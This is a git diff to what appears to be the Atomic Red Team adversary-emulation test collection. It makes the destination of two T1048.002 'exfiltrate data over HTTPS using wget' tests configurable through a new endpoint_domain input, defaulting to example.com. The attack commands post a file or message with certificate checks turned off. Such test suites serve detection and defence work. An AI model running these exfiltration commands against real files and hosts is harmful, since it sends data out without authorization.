diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index bd3f7cd6..a0c2f5df 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -117672,11 +117672,15 @@ exfiltration: description: Test data to upload type: path default: PathToAtomicsFolder/T1048.002/src/artifact + endpoint_domain: + description: Endpoint to send data to + type: string + default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate - https://example.com/ --delete-after + #{endpoint_domain} --delete-after ' - name: Exfiltrate data as text over HTTPS using wget @@ -117686,11 +117690,16 @@ exfiltration: ' supported_platforms: - linux + input_arguments: + endpoint_domain: + description: Endpoint to send data to + type: string + default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate - https://example.com/ --delete-after + #{endpoint_domain} --delete-after ' T1041: diff --git a/atomics/Indexes/linux-index.yaml b/atomics/Indexes/linux-index.yaml index 931f8b29..a18e52ea 100644 --- a/atomics/Indexes/linux-index.yaml +++ b/atomics/Indexes/linux-index.yaml @@ -72815,11 +72815,15 @@ exfiltration: description: Test data to upload type: path default: PathToAtomicsFolder/T1048.002/src/artifact + endpoint_domain: + description: Endpoint to send data to + type: string + default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate - https://example.com/ --delete-after + #{endpoint_domain} --delete-after ' - name: Exfiltrate data as text over HTTPS using wget @@ -72829,11 +72833,16 @@ exfiltration: ' supported_platforms: - linux + input_arguments: + endpoint_domain: + description: Endpoint to send data to + type: string + default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate - https://example.com/ --delete-after + #{endpoint_domain} --delete-after ' T1041: diff --git a/atomics/T1048.002/T1048.002.md b/atomics/T1048.002/T1048.002.md index b59bdb7f..8da94a13 100644 --- a/atomics/T1048.002/T1048.002.md +++ b/atomics/T1048.002/T1048.002.md @@ -127,13 +127,14 @@ Exfiltrate data over HTTPS using wget --post-file method | Name | Description | Type | Default Value | |------|-------------|------|---------------| | input_file | Test data to upload | path | PathToAtomicsFolder/T1048.002/src/artifact| +| endpoint_domain | Endpoint to send data to | string | https://example.com/| #### Attack Commands: Run with `sh`! ```sh -wget --post-file="#{input_file}" --timeout=5 --no-check-certificate https://example.com/ --delete-after +wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after ``` @@ -156,12 +157,17 @@ Exfiltrate data over HTTPS using wget --post-data method +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| endpoint_domain | Endpoint to send data to | string | https://example.com/| + #### Attack Commands: Run with `sh`! ```sh -wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate https://example.com/ --delete-after +wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after ```